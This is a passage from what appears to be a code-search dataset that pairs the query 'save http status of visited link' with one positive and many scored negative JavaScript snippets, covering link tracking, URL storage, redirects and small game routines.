0;\n\t\t}\n\t\telse\n\t\t{\n\t\t\trandom_y = 49;\n\t\t}\n\n\t\twall_arrayh.push({x: random_x, y: 49});\n\t\twall = wall_arrayh.pop();\n\n\t\tfor(var i=length-1; i>=0; i--)\n\t\t{\n\t\t\twall_arrayh.push({x: wall.x + i, y: wall.y});\n\t\t}\n\t}", "title": "" }, { "docid": "d9347ba83de9a648bf7b147f8c2500ff", "score": "0.52098626", "text": "goingDown() {\n //Look for the pieces that are in the limit. Those won't need to descend.\n let availablePieces = this.blockedPieces.filter(pc => pc.posY !== 13)\n //Look for the pieces with space belown them.\n availablePieces.forEach(pc => !this.blockedPieces.some(piece => piece.posY === pc.posY + 1 && piece.posX === pc.posX) && pc.posY++)\n }", "title": "" }, { "docid": "a7f9e268439da16c61e8f7e6cf31eb31", "score": "0.5209269", "text": "function wrapEdges(boid) {\n if (boid.position.x + edgeBuffer < 0) {\n\tboid.position.x = MAX_X;\n } else if (boid.position.x - edgeBuffer > MAX_X) {\n\tboid.position.x = 0;\n }\n if (boid.position.y + edgeBuffer < 0) {\n\tboid.position.y = MAX_Y\n } else if (boid.position.y - edgeBuffer > MAX_Y) {\n\tboid.position.y = 0;\n }\n}", "title": "" }, { "docid": "b07e5709fc1acc352378ecfabc2bdde3", "score": "0.5201788", "text": "removeBBFromScene() {\n /*\n if (RPM.datasGame.system.showBB)\n {\n for (let i = 0, l = this.meshBoundingBox.length; i < l; i++)\n {\n RPM.currentMap.scene.remove(this.meshBoundingBox[i]);\n }\n }\n this.meshBoundingBox = new Array;\n */\n }", "title": "" }, { "docid": "73dc910cc79862c46704e926965a7011", "score": "0.5200044", "text": "function boundary(cells) {\n var res = []\n for(var i=0,il=cells.length; i<il; ++i) {\n var c = cells[i]\n for(var j=0,cl=c.length; j<cl; ++j) {\n var b = new Array(c.length-1)\n for(var k=0, l=0; k<cl; ++k) {\n if(k !== j) {\n b[l++] = c[k]\n }\n }\n res.push(b)\n }\n }\n return normalize(res)\n}", "title": "" }, { "docid": "73dc910cc79862c46704e926965a7011", "score": "0.5200044", "text": "function boundary(cells) {\n var res = []\n for(var i=0,il=cells.length; i<il; ++i) {\n var c = cells[i]\n for(var j=0,cl=c.length; j<cl; ++j) {\n var b = new Array(c.length-1)\n for(var k=0, l=0; k<cl; ++k) {\n if(k !== j) {\n b[l++] = c[k]\n }\n }\n res.push(b)\n }\n }\n return normalize(res)\n}", "title": "" }, { "docid": "73dc910cc79862c46704e926965a7011", "score": "0.5200044", "text": "function boundary(cells) {\n var res = []\n for(var i=0,il=cells.length; i<il; ++i) {\n var c = cells[i]\n for(var j=0,cl=c.length; j<cl; ++j) {\n var b = new Array(c.length-1)\n for(var k=0, l=0; k<cl; ++k) {\n if(k !== j) {\n b[l++] = c[k]\n }\n }\n res.push(b)\n }\n }\n return normalize(res)\n}", "title": "" }, { "docid": "4933b2d9f418957256743d3e1d9bc882", "score": "0.51950294", "text": "updateTHholesOnBoard () {\n this.board.THholes = []\n\n for (let i = 0; i < this.items.length; i++) {\n if (this.items[i].engineData['transform']['thole'] && (this.items[i].engineData['transform']['thole'] !== null) && (this.items[i].engineData['transform']['thole'] !== 0)) {\n // console.log(this.items[i].layer1.length)\n for (let j = 0; j < this.items[i].layer1.length; j+=2) {\n \n const pos = this.items[i].layer1[j].getAbsolutePosition()\n //console.log(j, pos)\n this.board.THholes.push([0, this.items[i].engineData['transform']['thole'], pos.x, pos.z])\n }\n }\n }\n\n if (this.board.THholes.length !== 0) {\n this.board.recreateBoard()\n }\n }", "title": "" } ]
a358efa84924585f76c2d0f0d4e8592c
save http status of visited link
[ { "docid": "59fbcd8f32ff1b364674b37786cfe11c", "score": "0.0", "text": "async function properStatus(dbInstance,link){\n const db = await dbInstance;\n\n return new Promise(function (resolve) {\n db.get(\"UPDATE links set status=1 WHERE link = ? \",link, function (err, row) {\n resolve(row);\n });\n });\n}", "title": "" } ]
[ { "docid": "e9441a98f507a9d1e17a8b77f19a6c92", "score": "0.63880974", "text": "function setStatus(url){window.status = url; return true;}", "title": "" }, { "docid": "dd196c396984aad4aef30448ff836ff3", "score": "0.58513457", "text": "addVisitedUrl(url) {\n if (!this.isVisitedUrl(url)) {\n this.visitedUrls.push(url);\n }\n }", "title": "" }, { "docid": "e2241571d6081ce9d6688643e6197207", "score": "0.5786736", "text": "function onLink(request, sender, sendResponse){\n chrome.storage.sync.get(VISITED, function(r){\n var urls;\n var storedHash = r[VISITED];\n if(storedHash){\n var storedKeys = Object.keys(storedHash);\n\n // If over capacity, clear out the oldest 50% of stored urls\n if(storedKeys.length > CAPACITY){\n var sorted = storedKeys.sort(function(k1,k2){\n return storedHash[k1] - storedHash[k2];\n });\n for(var i = 0; i < storedKeys.length / 2; i++){\n delete storedHash[storedKeys[i]];\n }\n }\n urls = storedHash;\n } else {\n urls = {};\n }\n\n // Timestamp used for deletion order when at capacity\n urls[request.url] = Date.now();\n var payload = {};\n payload[VISITED] = urls;\n chrome.storage.sync.set(payload, function(){});\n // We do not call sendResponse because the user has navigated away from the page\n });\n}", "title": "" }, { "docid": "c7609c8c79a21ee6f9d4ebdf0dae1e20", "score": "0.55730486", "text": "function newstatHTTP(keyname, NewState, httpType) {\n \n //Zeitstempel erstellen\n var timeStamp = Utilities.formatDate(new Date(),Session.getScriptTimeZone() , 'dd.MM.yyyy HH:mm:ss'); \n //Neuen Status setzen\n if (ChangeState(keyname, NewState) == 0) {return 0;};\n \n //Loggen uns Status setzen je nach HTTP-Typ\n if (httpType == 'GET') {\n LogfileRaw(keyname, NewState, timeStamp, 'by HTTP-GET'); \n STATE |= STATE_NEWHTTPGET; \n }\n if (httpType == 'POST') {\n LogfileRaw(keyname, NewState, timeStamp, 'by HTTP-POST'); \n STATE |= STATE_NEWHTTPPOST;\n }\n return 1;\n}", "title": "" }, { "docid": "f00987db03b0838506a075cad4133025", "score": "0.55725807", "text": "function trackLinkClick(e) {\n // console.log('href : ', this.href);\n _gaq.push(['_trackEvent', this.href, 'visited']);\n}", "title": "" }, { "docid": "1db6d4e3136cb3374ce7c9b68ef5181d", "score": "0.5565208", "text": "function saveLink(link_) {\n\twindow.sessionStorage.clear();\n\twindow.sessionStorage.setItem('link', link_)\n}", "title": "" }, { "docid": "bf13f30990e6542c70e22d51422717db", "score": "0.54565895", "text": "function success(newUrl) {\r\n console.log(\"Success!\", newUrl);\r\n }", "title": "" }, { "docid": "63f806de3daaacf1e2fd9b3b76fbbe52", "score": "0.5426616", "text": "async function checksite(){\n visitdata= await getVisits();\n //alert(visitdata.visited);\n if(visitdata.visited==0){\n await fetch(\"lsite.php?update=\"+visitdata.id);\n let searchurl=\"http://google.com/search?tbm=isch&q=\";\n window.location.href=searchurl+visitdata.name;\n }\n else{\n setTimeout(checksite,2000);\n console.log(\"checksite\");\n }\n}", "title": "" }, { "docid": "337debd482965fcdaef4364d62ffa3c7", "score": "0.5414531", "text": "function saveURL() {\n id = makeId();\n\n db.get(id, (err, value) => {\n if (err) {\n db.put(id, req.body.uri, () => {\n\n // Send the page with the link\n res.render('minifier/minified',\n {\n title: \":: \" + I18n.translate `Minified !`,\n shortener_h1: I18n.translate `Your link was minified !`,\n shortener_tagline: I18n.translate `All kuuu.ga URLs are deleted after one year of inactivity`,\n button_copy: I18n.translate `Copy`,\n button_copied: I18n.translate `Copied !`,\n url: domain + id\n });\n\n currentIdAmount += 1;\n\n // If there's not enough id left, update the id length\n if (!hasIdLeft()) {\n db.get(\"-idLength\", (err, values) => {\n if (err) {\n console.log(\"Err: Unable to update currentIdAmount\") // TODO: Handle this error\n } else {\n console.log(values);\n values = values.slice(0, -1) + currentIdAmount;\n db.put(\"-idLength\", values)\n }\n });\n getIdState((resLength, resMaxId, resCurrIdAmount) => {\n idLength = resLength;\n maxId = resMaxId;\n currentIdAmount = resCurrIdAmount;\n })\n }\n });\n } else {\n saveURL()\n }\n })\n }", "title": "" }, { "docid": "2506292b50d1535128e13c4d5826939e", "score": "0.53918046", "text": "function incrTime() {\n URLtime++;\n}", "title": "" }, { "docid": "346e789cd443661eb83d58aa98596cc4", "score": "0.5380884", "text": "function save_url(url, dis, hid) {\n self.display_url(url, dis);\n dis.attr('value', url);\n hid.val(url);\n }", "title": "" }, { "docid": "5807ae51523254d4cd406b6ef7f54ca4", "score": "0.5358476", "text": "function saveStatusLocally(txt) {\n window.localStorage.setItem(\"status\", txt);\n}", "title": "" }, { "docid": "9f7e58b969b4be8bbb11362ac85ebdb6", "score": "0.5349618", "text": "function saveAndCb(status) {\n helpers.updateSite(\n site._id,\n // Set\n function(newSite) {\n // Set updates\n newSite.domain.ssl = sslUpdates;\n // Set status\n newSite.status.ssl = status;\n },\n // Done\n function(saveError, doc, success) {\n cb(null, { domain: { ssl: doc.domain.ssl } });\n }\n );\n }", "title": "" }, { "docid": "deb63f812a630f43acf41397765e489b", "score": "0.5338322", "text": "function updateVars() {\r\n var url = location.href;\r\n // if user on the same tab, they've kept surfing it, so add time\r\n chrome.storage.sync.get(\"active_tab\", (response) => {\r\n if (response.active_tab === url) {\r\n var website = url;\r\n increaseTime(website);\r\n }\r\n })\r\n}", "title": "" }, { "docid": "38fb33f8ee658bcb596432ce41732ba6", "score": "0.5322717", "text": "function saveRedirectToStorage(website) {\n website = 'https://' + website;\n chrome.storage.sync.set({'redirect-website': website}, function() {\n });\n}", "title": "" }, { "docid": "830782573c3bcc43901fe5ffa043302b", "score": "0.5304859", "text": "function saveState(path) {\n\t\tpath = path || location.pathname;\n\n\t\tvar state = {\n\t\t\tuJState: true,\n\t\t\tcontent: {}\n\t\t};\n\n\t\tfor (var c = appContext.cntrls.length - 1; c >= 0; c--) {\n\t\t\tstate.content[c] = appContext.cntrls[c].__getContent();\n\t\t}\n\n\t\thistory.pushState(state, document.title, path/*window.location.href*/);\n\t}", "title": "" }, { "docid": "ea4d392c7bb2c62304ee1e1ce3b5e882", "score": "0.5283683", "text": "function getLink(url) {\n\trequest({url: url, followRedirect : false}, function (error, response, body) {\n\t\t\n\t\tif (!error && response.statusCode == 302) {\t\t\n\t\t\t//console.log('Get url : ' + response.headers['location']);\n checkCountry(url,response.headers['location']);\n\t\t\t//login(url,response.headers['location']);\n\t\t}\n\t});\n}", "title": "" }, { "docid": "e78db8467d3801442994df8f8138079c", "score": "0.52736497", "text": "function addWebLink(req, res){\n\t\n\tvar status = {}\n\tvar user = req.user;\n\tvar webLink = req.body;\n\tvar time = Date.now();\n\twebLink.timestamp = time;\n\t\n\tif(user) {\n\t\t\tWeblinkModel.createLink(webLink, user._id).then(function(link){\n\t\t\treturn User.linkPosted(user._id, link).then(function(user){\n\t\t\t\tUser.bookmarkUser(user._id, link._id).then(function(bookmarked){\n\t\t\t\tstatus.msg = \"Web Link Successfully created\";\n\t\t\t\tstatus.update = true;\n\t\t\t\tstatus.weblink = link;\n\t\t\t\tstatus.author = user;\n\t\t\t\tres.json(status)\n\t\t\t\t})\n\t\t\t\t\n\t\t\t}, function(err) {\n\t\t\t\t\tstatus.msg = 'error in database: '+err;\n\t\t\t\t\tstatus.update = false;\n\t\t\t\t\tres.json(status)\n\t\t\t})\t\n\t\t})\n\t}\n}", "title": "" }, { "docid": "1227a5b4d33852b1152d5353fe0d269a", "score": "0.5266249", "text": "static async getLongUrlAndRedirects(shorturl) {\n const row = await RegisteredUrl.query()\n .findOne({ shorturl })\n .throwIfNotFound();\n const longurl = row.longurl;\n const currentRedirects = row.redirects;\n try {\n await RegisteredUrl.query()\n .update({ redirects: currentRedirects + 1 })\n .where(\"shorturl\", shorturl);\n } catch (e) {\n // do nothing - we MUST redirect even though we can update redirects\n console.log(err);\n }\n return longurl;\n }", "title": "" }, { "docid": "e4459995b20bc6ab66bcd55c4523dce3", "score": "0.5262964", "text": "function saveWatchedStatus(url, id) {\n fetch(`${url}/${id}`,\n {\n method: 'POST'\n })\n}", "title": "" }, { "docid": "3ad5e8d3aef9f3eb552db1bce1984ef9", "score": "0.5241011", "text": "static getStatusFromURL(url) {\n const vars = AuthController.getQueryParamsFromURL(url);\n //TODO check validity of status\n return vars.prYvstatus;\n }", "title": "" }, { "docid": "d28af925c148ac307aad151667af614b", "score": "0.52393425", "text": "function urlChecker() {\n if (window.urlChecker) return;\n\n var lastUrl = window.location.href;\n\n window.urlChecker = setInterval(function() {\n if (lastUrl !== window.location.href) {\n lastUrl = window.location.href;\n checkPage();\n }\n }, 500);\n }", "title": "" }, { "docid": "e248c1cda6a5bba28e2062d598bddb7e", "score": "0.52277523", "text": "_urlDidChange() {}", "title": "" }, { "docid": "205690db513d558a9b909df0322b4e72", "score": "0.5211849", "text": "function updateCounters(link) {\n link.result = {\n pass: 0,\n fail: 0,\n error: 0,\n total: 0\n };\n for (var i in link.stack) {\n link.result.total++;\n switch (link.stack[i].status) {\n case 'pass' : {\n link.result.pass++;\n } break;\n case 'fail' : {\n link.result.fail++;\n } break;\n case 'error' : {\n link.result.error++;\n } break;\n };\n };\n \n if (link.result.error || link.error) {link.status='error'}\n else if (link.result.fail) {link.status='fail'}\n else {link.status='pass'}\n\n if (link.linkBack) {\n updateCounters(link.linkBack);\n }\n }", "title": "" }, { "docid": "be89ae14e62d8925cc1231f947f7d403", "score": "0.52069443", "text": "function setHostingStatusByURL() {\n if ($stateParams.status && jQuery.inArray($stateParams.status, ['yes', 'maybe', 'no']) > -1) {\n vm.offer.status = $stateParams.status;\n }\n }", "title": "" }, { "docid": "fb088c253788b9be174a5d1e6114ed2f", "score": "0.5171661", "text": "function updateUrl( newVal)\n{\n\turl= newVal;\n}", "title": "" }, { "docid": "11fccc7b9c2b173e4c5b26d09f51461b", "score": "0.5169929", "text": "function cacheHTTPSData(url, data, status, header) {\n\n cache.write(url, { \"header\": header, \"status\": status, \"data\": data.toString() })\n\n console.log(\"\\x1b[33m\", \"Caching url: \" + url)\n}", "title": "" }, { "docid": "af1a9a4d0d12a6eee5aabb777475fa15", "score": "0.516164", "text": "function updateLink(domId) {\n var newServer = $(document.body).data('hdparams')['classificationServer'];\n var sNewUrl = updateQueryStringParameter(window.location.href, \"url-image\", newServer, \"?\");\n $(\"#\"+domId).attr('href', sNewUrl);\n $(\"#serverUrl\").val(newServer);\n //window.history.pushState({}, $(document.body).data('hdparams')['documentTitle'], sNewUrl);\n}", "title": "" }, { "docid": "31d9967d988052c5b55a355a793e20bd", "score": "0.5142522", "text": "isVisitedUrl(url) {\n return _.includes(this.visitedUrls, url);\n }", "title": "" }, { "docid": "9421f7206883d4ba2b36cb7c01248cfd", "score": "0.50916654", "text": "static redirect(url, status) {\n status = status || 302;\n const headers = {\n [HTTP2_HEADER_LOCATION]: url,\n };\n return new Response(null, { headers, status });\n }", "title": "" }, { "docid": "9639168fbe8b3250be71a4e21273a205", "score": "0.50890976", "text": "function initOrIncrement(req){\n if(self.visits[req.url] === undefined){\n self.visits[req.url] = 1;\n }\n else{\n self.visits[req.url]++;\n }\n }", "title": "" }, { "docid": "2253c4c4c6862f89a00d7d1b47731d01", "score": "0.50840646", "text": "function checkStatus() {\n // if uri matches include change state to true\n // console.log('checkStatus: ', tabs.activeTab.url, mod.include);\n statusIcon.changeState(isUriIncluded(mod.include,\n tabs.activeTab.url));\n}", "title": "" }, { "docid": "f4540f66f486134e1626f164f0f8bee7", "score": "0.5059659", "text": "function getURL(){\n \n curURL=window.location.href\n // if the user visits another page , we should clear those variables\n if(curURL!=prevURL){\n tweetsArray=[]\n predictions=[]\n elements=[]\n prevURL=curURL\n cntTweets=0\n prevtweetIdx=0\n tweetMp.clear()\n }\n}", "title": "" }, { "docid": "92bf87ca40b43fa9e9946993a02e7de5", "score": "0.50584495", "text": "function setUpOutgoingLinkLogging(){\n var anchors = document.getElementsByTagName(\"a\");\n var anchor;\n for (var i = 0; i < anchors.length; ++i) {\n anchor=anchors[i];\n if(anchor.href.indexOf(\"http\")==0 && anchor.href.indexOf(\"devstate.net\")==-1 ){\n //console.log(\"setUpOutgoingLinkLogging()\", anchor.href);\n anchor.addEventListener(\"click\",logOutgoingLink);\n }\n }\n}", "title": "" }, { "docid": "d35b39eb991ae02b6043f569aef85989", "score": "0.50527644", "text": "function pendingReportCheck (url)\n{\n $.get(url, {},\n function(responseJSON){ \n if (responseJSON.status == 'ready') {\n top.location = responseJSON.url_redirect;\n }\n },\"json\"\n );\n}", "title": "" }, { "docid": "f821059d5d3bd03e5d9894d2e128a34a", "score": "0.50501806", "text": "function onPage(request, sender, sendResponse){\n var links = request.urls;\n var response = {};\n chrome.storage.sync.get(VISITED, function(r){\n var storedHash = r[VISITED];\n if(storedHash){\n response[VISITED] = links.filter(function(link){\n return link in storedHash;\n });\n } else {\n response[VISITED] = [];\n } \n sendResponse(response);\n });\n}", "title": "" }, { "docid": "4b4af64503bf1251c87fda9ac7ce7415", "score": "0.50328755", "text": "markAsVisited() {\r\n\t\tthis[propertyNames.isVisited] = true;\r\n\t}", "title": "" }, { "docid": "ed062a4e716864edf847967424013c4d", "score": "0.5026875", "text": "function update_url_info(request, response) {\n\tvar result = bitdata.add_request(request, response, null);\n}", "title": "" }, { "docid": "b33045615f743514781abca5db175775", "score": "0.50224113", "text": "function saveLink(link, db) {\n console.log('Saving Link: ' + link.originalURL);\n var sites = db.collection('sites');\n sites.save(link, function (err, result) {\n if (err) throw err;\n console.log('Saved');\n });\n }", "title": "" }, { "docid": "e3adab8c6f995a6aef9f04fc6567851d", "score": "0.50052035", "text": "function trackHigh(url){\n expData.highUrlChanges = url\n if (url.length > oldHighURL.length) {\n expData.interaction = \"HIGH ADD\"\n experimentr.addData(expData)\n } else if (url.length < oldHighURL.length) {\n expData.interaction = \"HIGH REMOVE\"\n experimentr.addData(expData)\n }\n oldHighURL = url \n}", "title": "" }, { "docid": "0cff8b447b99dd2c599d005e8f4d4ff6", "score": "0.50020367", "text": "function onUrlChange(url, tab, reason)\n{\n if( url == last_url )\n return;\n if( tab != gBrowser.selectedTab )\n return console.log(\"Ignoring URL change for not active tab.\");\n\n console.log(\"change url\", last_url, url, reason);\n last_url = url;\n\n var msg = {\n 'task': 'SYNC',\n 'type': 'URL',\n 'url': url,\n 'title': document.title,\n 'tab-id': session_store.getTabValue(tab, \"hcd/tab-id\"),\n 'reason': reason\n };\n ctrlSend(msg);\n send(msg);\n}", "title": "" }, { "docid": "d531371a926fa19424fe913a634fad73", "score": "0.499599", "text": "function updateCurrentRedirectMessage() {\n chrome.storage.sync.get('redirect-website', function(data) {\n redirectWebsite = data['redirect-website'];\n let currentRedirectMessage = document.getElementById(\"current-redirect\");\n currentRedirectMessage.innerHTML = \"Currently redirecting to: \" + redirectWebsite;\n });\n}", "title": "" }, { "docid": "6a98fe0a3d13d8fb619579716868d288", "score": "0.49882728", "text": "function setURL(newURL) {\n url = newURL;\n fetch();\n }", "title": "" }, { "docid": "793c949ff9cf7ab8ca80d0cdc9aa49e4", "score": "0.49847993", "text": "function changeurl() {\n // if it's okay\n if (window.history.pushState) {\n // change the hash\n window.history.pushState(index, index, \"#\" + index);\n }\n }", "title": "" }, { "docid": "3518b55541581472666f3bc9c3edd5e5", "score": "0.49825454", "text": "function updateBrowser() {\n sync();\n\n if ($browser.getUrl() != location.href) {\n $browser.setUrl(location.href);\n copy(location, lastLocation);\n }\n }", "title": "" }, { "docid": "960a7dd5c3a84af1cab4905e1e428d4f", "score": "0.49679112", "text": "get_linkState()\n {\n return this.liveFunc._linkState;\n }", "title": "" }, { "docid": "18027ae60a9723cda04b6f4253389d00", "score": "0.49668586", "text": "function store(aUrl) {\n // Assume single threaded ... in practice, this will be a problen :-(\n allUrls[allUrls.length] = aUrl;\n return baseUrl + (allUrls.length-1);\n}", "title": "" }, { "docid": "bd7080dd76ab6daa541b0e925da43b48", "score": "0.4959864", "text": "function fillHTTPStatus(response) { \n\tvar protocolElement = document.getElementById('protocolElement');\n\tif (response != null && response.protocol != null) {\n\t\tif (0 == response.protocol.localeCompare(\"https:\")) {\n\t\t\tprotocolElement.innerHTML = \"HTTP Status: This website is secure by SSL TLS\";\n\t\t} else if (0 == response.protocol.localeCompare(\"http:\")){\n\t\t\tprotocolElement.innerHTML = \"HTTP Status: This webiste is not secure by SSL TLS\";\n\t\t} else {\n\t\t\tprotocolElement.innerHTML = \"HTTP Status: N/A\";\n\t\t}\n\t} else {\n\t\t// error handling\n\t\tprotocolElement.innerHTML = \"HTTP Status: N/A\";\n\t}\n}", "title": "" }, { "docid": "2221cc315309659e6c14a908b5ed0b68", "score": "0.49554655", "text": "function checkHrefLoop() {\r\n if (currentHref != document.location.href) {\r\n currentHref = document.location.href;\r\n\r\n setTimeout(function() {\r\n $(document).trigger(\"urlchanged\");\r\n }, 1000);\r\n }\r\n setTimeout(checkHrefLoop, 500);\r\n }", "title": "" }, { "docid": "7b33296bd0dcca027a74cc769d03712a", "score": "0.49513415", "text": "function save(url, data) {\n // not implemented / intentionally left blank\n\n // remove data from cache.. as we do not know how server may mutate the posted/patched data\n }", "title": "" }, { "docid": "ee4dd37beca32f98b49ac598108d3021", "score": "0.49353477", "text": "function onUrlChanged() {\n console.log(`URL changed ${URL.value}`);\n // avoid about:blank page\n if (URL.value === 'about:blank') {\n URL.value = AppConfig.BASE_URL;\n isVisible.value = 'Collapsed';\n console.log('about:blank, open BASE_URL');\n }\n // if the same host, then do nothing\n else if (AppHelper.isSameHost(URL.value, AppConfig.BASE_URL)) {\n isVisible.value = 'Visible';\n console.log('same host, do nothing');\n }\n // launch InterApp to open the link with native app\n else {\n isVisible.value = 'Collapsed';\n InterApp.launchUri(URL.value);\n // reset our URL, go back to previous page\n console.log('go back to previous URL');\n webView.goBack();\n }\n}", "title": "" }, { "docid": "a7d15667e248cd9ab580d0eb57a81f98", "score": "0.4932898", "text": "function __os_mark_remote_file(url, value)\n{\n\tif (__os_should_log_remote_file_responses)\n\t{\n\t\t__os_remote_file_responses[url] = value;\n\t\t\n\t\treturn true;\n\t}\n\t\n\t// Return the default response.\n\treturn false;\n}", "title": "" }, { "docid": "a7d15667e248cd9ab580d0eb57a81f98", "score": "0.4932898", "text": "function __os_mark_remote_file(url, value)\n{\n\tif (__os_should_log_remote_file_responses)\n\t{\n\t\t__os_remote_file_responses[url] = value;\n\t\t\n\t\treturn true;\n\t}\n\t\n\t// Return the default response.\n\treturn false;\n}", "title": "" }, { "docid": "aff57d9487efa83335398a5111cff493", "score": "0.49302074", "text": "function saveURLState(){\r\n\tvar anchor = window.location.hash.split('#')[1]\r\n\tvar elem = $('[name='+anchor+']')\r\n\tvar page = elem\r\n\tif(!page.hasClass('page')){\r\n\t\tpage = page.parents('.page')\r\n\t}\r\n\tvar n = getPageNumber()\r\n\r\n\t// decide which #URLs stay in the URL and which get replaces with a\r\n\t// page number...\r\n\tif(!elem.hasClass('shown') && !elem.hasClass('hidden')){\r\n\t\t// XXX use real aliases...\r\n\t\t// do not replace these urls with page numbers...\r\n\t\tif(n == getPageNumber(page)\r\n\t\t\t\t|| (anchor == 'home' && n == 0)\r\n\t\t\t\t|| (anchor == 'end' && n == $('.page').length-1)){\r\n\t\t\treturn anchor\r\n\t\t}\r\n\t}\r\n\r\n\t// set the #URL to current mapge number...\r\n\tif(UPDATE_HASH_URL_POSITION){\r\n\t\twindow.location.hash = n\r\n\r\n\t// push history state...\r\n\t} else if(FULL_HISTORY_ENABLED){\r\n\t\twindow.history.pushState(null, null, '#' + n)\r\n\r\n\t// clear the url if it does not match the current page...\r\n\t} else {\r\n\t\t// XXX need to do this AFTER the page is changed, and not befor...\r\n\t\tif(n != parseInt(anchor) \r\n\t\t\t\t// do not remove linked pages...\r\n\t\t\t\t|| (elem.hasClass('page') && n != getPageNumber(elem))\r\n\t\t\t\t|| n != getPageNumber($(elem).parents('.page'))){\r\n\t\t\twindow.location.hash = ''\r\n\t\t}\r\n\t}\r\n\treturn n\r\n}", "title": "" }, { "docid": "aff57d9487efa83335398a5111cff493", "score": "0.49302074", "text": "function saveURLState(){\r\n\tvar anchor = window.location.hash.split('#')[1]\r\n\tvar elem = $('[name='+anchor+']')\r\n\tvar page = elem\r\n\tif(!page.hasClass('page')){\r\n\t\tpage = page.parents('.page')\r\n\t}\r\n\tvar n = getPageNumber()\r\n\r\n\t// decide which #URLs stay in the URL and which get replaces with a\r\n\t// page number...\r\n\tif(!elem.hasClass('shown') && !elem.hasClass('hidden')){\r\n\t\t// XXX use real aliases...\r\n\t\t// do not replace these urls with page numbers...\r\n\t\tif(n == getPageNumber(page)\r\n\t\t\t\t|| (anchor == 'home' && n == 0)\r\n\t\t\t\t|| (anchor == 'end' && n == $('.page').length-1)){\r\n\t\t\treturn anchor\r\n\t\t}\r\n\t}\r\n\r\n\t// set the #URL to current mapge number...\r\n\tif(UPDATE_HASH_URL_POSITION){\r\n\t\twindow.location.hash = n\r\n\r\n\t// push history state...\r\n\t} else if(FULL_HISTORY_ENABLED){\r\n\t\twindow.history.pushState(null, null, '#' + n)\r\n\r\n\t// clear the url if it does not match the current page...\r\n\t} else {\r\n\t\t// XXX need to do this AFTER the page is changed, and not befor...\r\n\t\tif(n != parseInt(anchor) \r\n\t\t\t\t// do not remove linked pages...\r\n\t\t\t\t|| (elem.hasClass('page') && n != getPageNumber(elem))\r\n\t\t\t\t|| n != getPageNumber($(elem).parents('.page'))){\r\n\t\t\twindow.location.hash = ''\r\n\t\t}\r\n\t}\r\n\treturn n\r\n}", "title": "" }, { "docid": "25a856d30fb279e3eb7144971be4e39c", "score": "0.48984239", "text": "function onCheckUrl(){\n requestAnimationFrame(()=>{\n url!==location.href&&checkOverlay();\n url = location.href;\n });\n }", "title": "" }, { "docid": "d0a9a0dde8e5101c9b6c3b25fc2354fa", "score": "0.4890947", "text": "function head(uri, completed) {\n let xhr = new XMLHttpRequest();\n xhr.addEventListener(\"load\", function() {\n completed(uri, this.status);\n });\n xhr.open(\"HEAD\", uri);\n xhr.send();\n}", "title": "" }, { "docid": "d0a9a0dde8e5101c9b6c3b25fc2354fa", "score": "0.4890947", "text": "function head(uri, completed) {\n let xhr = new XMLHttpRequest();\n xhr.addEventListener(\"load\", function() {\n completed(uri, this.status);\n });\n xhr.open(\"HEAD\", uri);\n xhr.send();\n}", "title": "" }, { "docid": "14f2040daab1515f807ab72d0fe9132b", "score": "0.48824012", "text": "history(url = \"\") {\n if (url.length <= 0) {\n url = RealityCheckModel.history_URL;\n }\n setTimeout(() => {\n window.top.location.href = url;\n });\n }", "title": "" }, { "docid": "0ab1e8d8b37c03994767b014140212a3", "score": "0.48800635", "text": "function process() {\n delmarks();\n /* chrome.storage.local.get(\"ChangeURL\", function(result) {\n if (false && result[\"ChangeURL\"]) { //Can run without it and chrome does not like extra permissions, thus disabled\n try {\n var curl = location.href; //current url\n var vID = curl.match(/v\\=(.{11})/); //regex for ID\n var owner = document.getElementById(\"owner-container\").firstChild.firstChild;\n var cID = owner.getAttribute(\"href\").match(/channel.(.*)/);\n\n var timed = (curl.includes(\"\\&t\\=\") || curl.includes(\"\\?t\\=\"));\n if (!timed) { //only if video is not timed\n\n chrome.storage.local.get(\"on\", function(result) {\n if (result != null && result[\"on\"] && vID) { //sync storage beforelocal\n chrome.storage.sync.get(vID[1], function(result) {\n if (!(result[vID[1]] == undefined || result[vID[1]][0] == undefined || result[vID[1]][0] == 0)) {\n window.location.replace(location.href + \"&t=\" + result[vID[1]][0]); //change url\n TotalTimeUpdate(result[vID[1]][0]);\n\n } else if (vID != undefined && vID[1] != undefined) {\n chrome.storage.local.get(vID[1], function(result) {\n if (!(result[vID[1]] == undefined || result[vID[1]][0] === undefined || result[vID[1]][0] == 0)) {\n window.location.replace(location.href + \"&t=\" + result[vID[1]][0]); //change url\n TotalTimeUpdate(result[vID[1]][0]);\n\n }\n\n });\n }\n });\n\n }\n });\n }\n } catch (e) {}\n }\n });\n delmarks(); */\n}", "title": "" }, { "docid": "68bd91a56173891ed82f4e6b17dc1d69", "score": "0.487644", "text": "async function linkChecked(dbInstance,link){\n const db = await dbInstance;\n\n return new Promise(function (resolve) {\n db.get(\"UPDATE links set visited=1 WHERE link = ? \",link, function (err, row) {\n resolve(row);\n });\n });\n}", "title": "" }, { "docid": "9071cdcc7058c2f5e22c5f82202599a5", "score": "0.48715433", "text": "function postLinkCount(){\n\tvar posturl = \"https://127.0.0.1:8443/postLinkCount\"\n\t $.ajax({\n type: \"POST\",\n url: posturl,\n\t\t\tcontentType:'application/x-www-form-urlencoded;charset=utf-8',\n success: function(response) {\n\t\t\t},\n error: function(error) {\n\t\t\t\tconsole.log('Unable to track activity. ' + error );\n }\n\t\t});\n}", "title": "" }, { "docid": "d2d3477d8a31f2b223f91f2045699bec", "score": "0.48685822", "text": "function IncrementHash(){\r\n hashChange = false;\r\n var hash = location.hash;\r\n hash = hash.substring(1, hash.length)\r\n var curHash = parseInt(hash, 10);\r\n location.hash = curHash+ 1;\r\n LoadPageStateToLocalMemory(curHash + 1);\r\n}", "title": "" }, { "docid": "32f2facf894f64d1792d7e308da73575", "score": "0.48679835", "text": "function requestStatus(http){\n\tif(http.readyState != 4){return false;}\n\tif(http.status == 200){return true;}\n\telse {return false;}\n}", "title": "" }, { "docid": "ba57cdef88ccac0e5b1b6849b7fed686", "score": "0.485981", "text": "function redirect(check, other){ if( url == check) setTimeout(()=> document.location = other, 300); }", "title": "" }, { "docid": "0a23856d616f14e060f872f68da25d81", "score": "0.48497847", "text": "function saveNodeStatus() {\n wfState.updateBlockchainData(_blockchainName, _ethState);\n log.info(_blockchainName, `Status: {${JSON.stringify(_ethState.parameters)}, ${JSON.stringify(_ethState.status)}}`);\n}", "title": "" }, { "docid": "82156268aaac78518ff89e7003b65727", "score": "0.4848277", "text": "function UrlExists(url) {\n var http = new XMLHttpRequest();\n http.open('HEAD', url, false);\n http.send();\n if (http.status != 404) 